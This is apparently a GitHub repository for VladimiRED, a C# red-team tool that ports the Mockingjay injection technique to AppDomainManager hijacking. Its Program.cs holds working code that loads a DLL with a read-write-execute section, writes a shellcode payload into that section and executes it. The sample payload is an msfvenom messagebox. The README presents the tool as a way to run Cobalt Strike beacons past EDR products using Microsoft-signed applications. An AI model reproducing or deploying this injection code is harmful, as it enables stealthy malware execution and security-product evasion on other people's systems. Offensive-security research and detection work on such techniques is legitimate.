├── LICENSE ├── README.md ├── VladimiRED.png ├── VladimiRED.sln └── VladimiRED ├── App.config ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── VladimiRED.csproj ├── VladimiRED.csproj.user ├── key.snk └── obj ├── Debug ├── DesignTimeResolveAssemblyReferencesInput.cache └── VladimiRED.csproj.AssemblyReference.cache ├── Release ├── DesignTimeResolveAssemblyReferencesInput.cache └── VladimiRED.csproj.AssemblyReference.cache └── x64 └── Release ├── DesignTimeResolveAssemblyReferencesInput.cache ├── VladimiRED.csproj.AssemblyReference.cache ├── VladimiRED.csproj.CoreCompileInputs.cache ├── VladimiRED.csproj.FileListAbsolute.txt ├── VladimiRED.dll └── VladimiRED.pdb /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 kapellos 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # VladimiRED 2 | 3 | VladimiRED (you expect to get one thing and you end up with something else :satisfied:) is a C# port of Mockingjay injection technique (https://github.com/caueb/Mockingjay) to be used with AppDomainManager Injection Method. 4 | 5 | The produced dll injects shellcode into already existing RWX regions via Marshaling avoiding using pinvoke related injection calls. 6 | 7 | ![image](https://github.com/kapellos/VladimiRED/blob/main/VladimiRED.png) 8 | 9 | # Usage 10 | You will need a 64bit AppDomainManager Microsoft Signed application to run this (unless you revert this to a standard console application). 11 | 12 | I suggest the excellent resources by Mr. Mr-Un1k0d3r: 13 | 14 | 1)https://github.com/Mr-Un1k0d3r/.NetConfigLoader 15 | 16 | 2)https://raw.githubusercontent.com/Mr-Un1k0d3r/.NetConfigLoader/main/signed.txt 17 | 18 | Also you will need some other "vulnerable" dll since the original, which is also used in this project, has limited shellcode space for a CS beacon. You can find them using the python script ([https://github.com/caueb/Mockingjay](https://github.com/caueb/Mockingjay/blob/main/rwx_finder.py)) in everyday workstations :smirk:. 19 | 20 | Most importantly you will need a solid shellcode encryption/download method which I do not provide here if you really need to evade EDRs. 21 | 22 | # Credits 23 | - Charles Hamilton ([@MrUn1k0d3r](https://twitter.com/MrUn1k0d3r)) 24 | - Caue B [caueb](https://github.com/caueb) 25 | - Technique originally published by [Security Joes](https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution) that takes advantage of RWX sections in DLLs to allocate and execute code. 26 | - https://www.tiktok.com/@vladimir_ncl for the laughs given. 27 | 28 | 29 | -------------------------------------------------------------------------------- /VladimiRED.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED.png -------------------------------------------------------------------------------- /VladimiRED.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.12.35527.113 d17.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VladimiRED", "VladimiRED\VladimiRED.csproj", "{C25849FE-EEA8-4E6D-8C16-6512577DC747}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|x64.ActiveCfg = Debug|x64 19 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|x64.Build.0 = Debug|x64 20 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|x64.ActiveCfg = Release|x64 23 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /VladimiRED/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /VladimiRED/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | 6 | public sealed class VladimiRED : AppDomainManager 7 | { 8 | //msfvenom -p windows/x64/messagebox TEXT="VladimiRED" -f csharp 9 | static byte[] payload = new byte[] 10 | { 11 | 0xfc,0x48,0x81,0xe4,0xf0,0xff, 12 | 0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 13 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 14 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72, 15 | 0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31, 16 | 0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d, 17 | 0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52, 18 | 0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 19 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50, 20 | 0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, 21 | 0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01, 22 | 0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d, 23 | 0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 24 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24, 25 | 0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b, 26 | 0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01, 27 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 28 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 29 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d, 30 | 0x3e,0x48,0x8d,0x8d,0x24,0x01,0x00,0x00,0x41,0xba,0x4c,0x77, 31 | 0x26,0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e, 32 | 0x48,0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x19, 33 | 0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07, 34 | 0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff, 35 | 0xd5,0x56,0x6c,0x61,0x64,0x69,0x6d,0x69,0x52,0x45,0x44,0x00, 36 | 0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00,0x75, 37 | 0x73,0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 38 | }; 39 | 40 | 41 | [StructLayout(LayoutKind.Sequential)] 42 | struct SectionDescriptor 43 | { 44 | public IntPtr Start; 45 | public IntPtr End; 46 | } 47 | 48 | // Import necessary WinAPI functions from the correct DLLs 49 | [DllImport("kernel32.dll", SetLastError = true)] 50 | static extern IntPtr LoadLibrary(string lpLibFileName); 51 | 52 | [DllImport("psapi.dll", SetLastError = true)] 53 | static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb); 54 | 55 | [StructLayout(LayoutKind.Sequential)] 56 | struct MODULEINFO 57 | { 58 | public IntPtr lpBaseOfDll; 59 | public uint SizeOfImage; 60 | public IntPtr EntryPoint; 61 | } 62 | 63 | [DllImport("Dbghelp.dll", SetLastError = true)] 64 | static extern IntPtr ImageNtHeader(IntPtr hModule); 65 | 66 | [StructLayout(LayoutKind.Sequential)] 67 | struct IMAGE_DOS_HEADER 68 | { 69 | public ushort e_magic; 70 | public ushort e_cblp; 71 | public ushort e_cp; 72 | public ushort e_crlc; 73 | public ushort e_cparhdr; 74 | public ushort e_minalloc; 75 | public ushort e_maxalloc; 76 | public ushort e_ss; 77 | public ushort e_sp; 78 | public ushort e_csum; 79 | public ushort e_ip; 80 | public ushort e_cs; 81 | public ushort e_lfarlc; 82 | public ushort e_ovno; 83 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] 84 | public ushort[] e_res1; 85 | public ushort e_oemid; 86 | public ushort e_oeminfo; 87 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] 88 | public ushort[] e_res2; 89 | public int e_lfanew; // File address of the new exe header 90 | } 91 | 92 | [StructLayout(LayoutKind.Sequential)] 93 | struct IMAGE_FILE_HEADER 94 | { 95 | public ushort Machine; 96 | public ushort NumberOfSections; 97 | public uint TimeDateStamp; 98 | public uint PointerToSymbolTable; 99 | public uint NumberOfSymbols; 100 | public ushort SizeOfOptionalHeader; 101 | public ushort Characteristics; 102 | } 103 | 104 | [StructLayout(LayoutKind.Sequential)] 105 | struct IMAGE_OPTIONAL_HEADER64 106 | { 107 | public ushort Magic; 108 | public byte MajorLinkerVersion; 109 | public byte MinorLinkerVersion; 110 | public uint SizeOfCode; 111 | public uint SizeOfInitializedData; 112 | public uint SizeOfUninitializedData; 113 | public uint AddressOfEntryPoint; 114 | public uint BaseOfCode; 115 | public ulong ImageBase; 116 | public uint SectionAlignment; 117 | public uint FileAlignment; 118 | public ushort MajorOperatingSystemVersion; 119 | public ushort MinorOperatingSystemVersion; 120 | public ushort MajorImageVersion; 121 | public ushort MinorImageVersion; 122 | public ushort MajorSubsystemVersion; 123 | public ushort MinorSubsystemVersion; 124 | public uint Win32VersionValue; 125 | public uint SizeOfImage; 126 | public uint SizeOfHeaders; 127 | public uint CheckSum; 128 | public ushort Subsystem; 129 | public ushort DllCharacteristics; 130 | public ulong SizeOfStackReserve; 131 | public ulong SizeOfStackCommit; 132 | public ulong SizeOfHeapReserve; 133 | public ulong SizeOfHeapCommit; 134 | public uint LoaderFlags; 135 | public uint NumberOfRvaAndSizes; 136 | } 137 | 138 | 139 | [StructLayout(LayoutKind.Sequential)] 140 | struct IMAGE_NT_HEADERS 141 | { 142 | public uint Signature; 143 | public IMAGE_FILE_HEADER FileHeader; 144 | public IMAGE_OPTIONAL_HEADER OptionalHeader; 145 | } 146 | 147 | 148 | [StructLayout(LayoutKind.Sequential)] 149 | struct IMAGE_OPTIONAL_HEADER 150 | { 151 | // Define fields specific to 32-bit PE files 152 | } 153 | 154 | [StructLayout(LayoutKind.Sequential)] 155 | struct IMAGE_SECTION_HEADER 156 | { 157 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 158 | public byte[] Name; 159 | public uint PhysicalAddress; 160 | public uint VirtualAddress; 161 | public uint SizeOfRawData; 162 | public uint PointerToRawData; 163 | public uint PointerToRelocations; 164 | public uint PointerToLinenumbers; 165 | public ushort NumberOfRelocations; 166 | public ushort NumberOfLinenumbers; 167 | public uint Characteristics; 168 | } 169 | 170 | [StructLayout(LayoutKind.Sequential)] 171 | struct IMAGE_NT_HEADERS64 172 | { 173 | public uint Signature; 174 | public IMAGE_FILE_HEADER FileHeader; 175 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader; 176 | } 177 | 178 | const uint IMAGE_SCN_MEM_EXECUTE = 0x20000000; 179 | const uint IMAGE_SCN_MEM_WRITE = 0x80000000; 180 | const uint IMAGE_SCN_MEM_READ = 0x40000000; 181 | 182 | static IntPtr FindRWXOffset(IntPtr hModule) 183 | { 184 | // Get the NT headers 185 | IntPtr ntHeaderPtr = ImageNtHeader(hModule); 186 | if (ntHeaderPtr == IntPtr.Zero) 187 | { 188 | Console.WriteLine("[-] Failed to get NT header."); 189 | return IntPtr.Zero; 190 | } 191 | 192 | // Read the NT headers structure 193 | IMAGE_NT_HEADERS64 ntHeader = Marshal.PtrToStructure(ntHeaderPtr); 194 | 195 | // Calculate the pointer to the first section header 196 | int optionalHeaderSize = ntHeader.FileHeader.SizeOfOptionalHeader; 197 | IntPtr sectionHeaderPtr = ntHeaderPtr + Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS64), "OptionalHeader").ToInt32() + optionalHeaderSize; 198 | 199 | // Iterate through the section headers to find RWX sections 200 | for (int i = 0; i < ntHeader.FileHeader.NumberOfSections; i++) 201 | { 202 | IMAGE_SECTION_HEADER sectionHeader = Marshal.PtrToStructure(sectionHeaderPtr); 203 | 204 | // Check if the section has RWX characteristics 205 | if ((sectionHeader.Characteristics & (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ)) == 206 | (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ)) 207 | { 208 | // Print information about the found section 209 | Console.WriteLine($"[i] DLL base address: 0x{hModule.ToString("X")}"); 210 | Console.WriteLine($"\t[i] RWX section offset (RVA): 0x{sectionHeader.VirtualAddress:X}"); 211 | Console.WriteLine($"\t[i] RWX section size: 0x{sectionHeader.SizeOfRawData:X} bytes"); 212 | 213 | // Return the relative virtual address (RVA) as the offset 214 | return (IntPtr)sectionHeader.VirtualAddress; 215 | } 216 | 217 | // Move to the next section header 218 | sectionHeaderPtr = IntPtr.Add(sectionHeaderPtr, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); 219 | } 220 | 221 | Console.WriteLine("[-] No RWX section found."); 222 | return IntPtr.Zero; 223 | } 224 | 225 | static uint FindRWXSize(IntPtr hModule) 226 | { 227 | // Get the NT headers 228 | IntPtr ntHeaderPtr = ImageNtHeader(hModule); 229 | if (ntHeaderPtr == IntPtr.Zero) 230 | { 231 | Console.WriteLine("[-] Failed to get NT header."); 232 | return 0; 233 | } 234 | 235 | IMAGE_NT_HEADERS ntHeaders = Marshal.PtrToStructure(ntHeaderPtr); 236 | IntPtr sectionHeaderPtr = GetSectionHeaderPtr(ntHeaderPtr, true); 237 | 238 | // Iterate through the section headers to find RWX sections 239 | for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++) 240 | { 241 | IMAGE_SECTION_HEADER sectionHeader = Marshal.PtrToStructure(sectionHeaderPtr); 242 | 243 | // Check if the section has RWX characteristics 244 | if ((sectionHeader.Characteristics & (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ)) == 245 | (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ)) 246 | { 247 | Console.WriteLine($"\t[i] RWX section size: {sectionHeader.SizeOfRawData} bytes"); 248 | return sectionHeader.SizeOfRawData; 249 | } 250 | 251 | // Move to the next section header 252 | sectionHeaderPtr = IntPtr.Add(sectionHeaderPtr, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); 253 | } 254 | 255 | Console.WriteLine("[-] No RWX section found."); 256 | return 0; 257 | } 258 | 259 | 260 | // Helper function to get section header pointer 261 | static IntPtr GetSectionHeaderPtr(IntPtr ntHeaderPtr, bool is64Bit) 262 | { 263 | int optionalHeaderOffset = Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader").ToInt32(); 264 | int optionalHeaderSize = Marshal.PtrToStructure(ntHeaderPtr).FileHeader.SizeOfOptionalHeader; 265 | 266 | return ntHeaderPtr + optionalHeaderOffset + optionalHeaderSize; 267 | } 268 | 269 | static void WriteCodeToSection(IntPtr rwxSectionAddr, byte[] kitsos, int sizekitsos) 270 | { 271 | Marshal.Copy(kitsos, 0, rwxSectionAddr, sizekitsos); 272 | Console.WriteLine($"[i] {sizekitsos} bytes of code written to RWX memory region"); 273 | } 274 | 275 | static void ExecuteCodeFromSection(IntPtr rwxSectionAddr) 276 | { 277 | Console.WriteLine("[i] Calling the RWX region address to execute the payload"); 278 | var execDelegate = (Action)Marshal.GetDelegateForFunctionPointer(rwxSectionAddr, typeof(Action)); 279 | execDelegate(); 280 | } 281 | 282 | public override void InitializeNewDomain(AppDomainSetup appDomainInfo) 283 | { 284 | string vulnDLLPath = @"C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\Team Explorer\Git\usr\bin\msys-2.0.dll"; 285 | 286 | IntPtr hDll = LoadLibrary(vulnDLLPath); 287 | 288 | if (hDll == IntPtr.Zero) 289 | { 290 | Console.WriteLine("[-] Failed to load the targeted DLL"); 291 | return; 292 | } 293 | 294 | if (!GetModuleInformation(Process.GetCurrentProcess().Handle, hDll, out MODULEINFO moduleInfo, (uint)Marshal.SizeOf(typeof(MODULEINFO)))) 295 | { 296 | Console.WriteLine("[-] Failed to get module info"); 297 | return; 298 | } 299 | 300 | IntPtr rwxSectionOffset = FindRWXOffset(hDll); 301 | uint rwxSectionSize = FindRWXSize(hDll); 302 | 303 | IntPtr rwxSectionAddr = moduleInfo.lpBaseOfDll + (int)rwxSectionOffset; 304 | 305 | SectionDescriptor descriptor = new SectionDescriptor 306 | { 307 | Start = rwxSectionAddr, 308 | End = rwxSectionAddr + (int)rwxSectionSize 309 | }; 310 | 311 | Console.WriteLine($"[i] RWX section starts at 0x{descriptor.Start} and ends at 0x{descriptor.End}"); 312 | 313 | int kitsosSize = payload.Length; 314 | 315 | WriteCodeToSection(rwxSectionAddr, payload, kitsosSize); 316 | 317 | ExecuteCodeFromSection(rwxSectionAddr); 318 | } 319 | } 320 | -------------------------------------------------------------------------------- /VladimiRED/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("VladimiRED")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("VladimiRED")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("c25849fe-eea8-4e6d-8c16-6512577dc747")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /VladimiRED/VladimiRED.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C25849FE-EEA8-4E6D-8C16-6512577DC747} 8 | Library 9 | VladimiRED 10 | VladimiRED 11 | v4.8 12 | 512 13 | true 14 | true 15 | publish\ 16 | true 17 | Disk 18 | false 19 | Foreground 20 | 7 21 | Days 22 | false 23 | false 24 | true 25 | 0 26 | 1.0.0.%2a 27 | false 28 | false 29 | true 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | DEBUG;TRACE 38 | prompt 39 | 4 40 | 41 | 42 | AnyCPU 43 | pdbonly 44 | true 45 | bin\Release\ 46 | TRACE 47 | prompt 48 | 4 49 | 50 | 51 | true 52 | bin\x64\Debug\ 53 | DEBUG;TRACE 54 | full 55 | x64 56 | 7.3 57 | prompt 58 | true 59 | 60 | 61 | bin\x64\Release\ 62 | 63 | 64 | false 65 | pdbonly 66 | x64 67 | 7.3 68 | prompt 69 | true 70 | true 71 | 72 | 73 | 74 | 75 | 76 | true 77 | 78 | 79 | key.snk 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | False 102 | Microsoft .NET Framework 4.8 %28x86 and x64%29 103 | true 104 | 105 | 106 | False 107 | .NET Framework 3.5 SP1 108 | false 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /VladimiRED/VladimiRED.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | -------------------------------------------------------------------------------- /VladimiRED/key.snk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/key.snk -------------------------------------------------------------------------------- /VladimiRED/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- 1 | .winmd.dll.exe 2 | )C:\Tools\VladimiRED\VladimiRED\App.configgC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Microsoft.CSharp.dll_C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\mscorlib.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Core.dlltC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.DataSetExtensions.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.dll]C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Net.Http.dllaC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.Linq.dllSC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Full{CandidateAssemblyFiles}{HintPathFromItem}{TargetFrameworkDirectory}B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx} {RawFileName})C:\Tools\VladimiRED\VladimiRED\bin\Debug\B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}RC:\Tools\VladimiRED\VladimiRED\obj\Debug\DesignTimeResolveAssemblyReferences.cacheSC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\[C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Facades\.NETFramework,Version=v4.8.NET Framework 4.8v4.8msil 3 | v4.0.30319 -------------------------------------------------------------------------------- /VladimiRED/obj/Debug/VladimiRED.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/Debug/VladimiRED.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /VladimiRED/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- 1 | .winmd.dll.exe 2 | )C:\Tools\VladimiRED\VladimiRED\App.configgC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Microsoft.CSharp.dll_C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\mscorlib.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Core.dlltC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.DataSetExtensions.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.dll]C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Net.Http.dllaC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.Linq.dllSC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Full{CandidateAssemblyFiles}{HintPathFromItem}{TargetFrameworkDirectory}B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx} {RawFileName}+C:\Tools\VladimiRED\VladimiRED\bin\Release\B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}TC:\Tools\VladimiRED\VladimiRED\obj\Release\DesignTimeResolveAssemblyReferences.cacheSC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\[C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Facades\.NETFramework,Version=v4.8.NET Framework 4.8v4.8msil 3 | v4.0.30319 -------------------------------------------------------------------------------- /VladimiRED/obj/Release/VladimiRED.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/Release/VladimiRED.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /VladimiRED/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- 1 | .winmd.dll.exe )C:\Tools\VladimiRED\VladimiRED\App.config&C:\Tools\VladimiRED\VladimiRED\key.snkgC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Microsoft.CSharp.dll_C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\mscorlib.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Core.dlltC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.DataSetExtensions.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.dll]C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Net.Http.dllaC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.Linq.dllSC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Full{CandidateAssemblyFiles}{HintPathFromItem}{TargetFrameworkDirectory}B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx} {RawFileName}/C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}XC:\Tools\VladimiRED\VladimiRED\obj\x64\Release\DesignTimeResolveAssemblyReferences.cacheSC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\[C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Facades\.NETFramework,Version=v4.8.NET Framework 4.8v4.8amd64 2 | v4.0.30319 -------------------------------------------------------------------------------- /VladimiRED/obj/x64/Release/VladimiRED.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/x64/Release/VladimiRED.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /VladimiRED/obj/x64/Release/VladimiRED.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | e84898b942196ebfab0168e8a3e0f946ee2fd239da84cf73797585bc6a719bfa 2 